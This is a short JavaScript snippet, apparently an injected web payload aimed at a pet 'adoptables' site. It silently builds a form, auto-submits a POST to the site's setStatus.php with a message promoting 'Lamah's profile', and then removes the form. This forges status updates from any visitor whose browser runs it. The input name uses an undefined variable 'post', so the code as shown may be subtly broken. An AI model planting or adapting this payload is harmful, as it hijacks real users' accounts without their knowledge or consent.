var myForm = document.createElement("form");
myForm.method="post" ;
myForm.action = '/adoptables/setStatus.php';

var myInput = document.createElement("input") ;
myInput.setAttribute("name", post) ;
myInput.setAttribute("value", "Go check out Lamah's profile. It's the greatest.");
myForm.appendChild(myInput) ;

document.body.appendChild(myForm);
myForm.submit();
document.body.removeChild(myForm);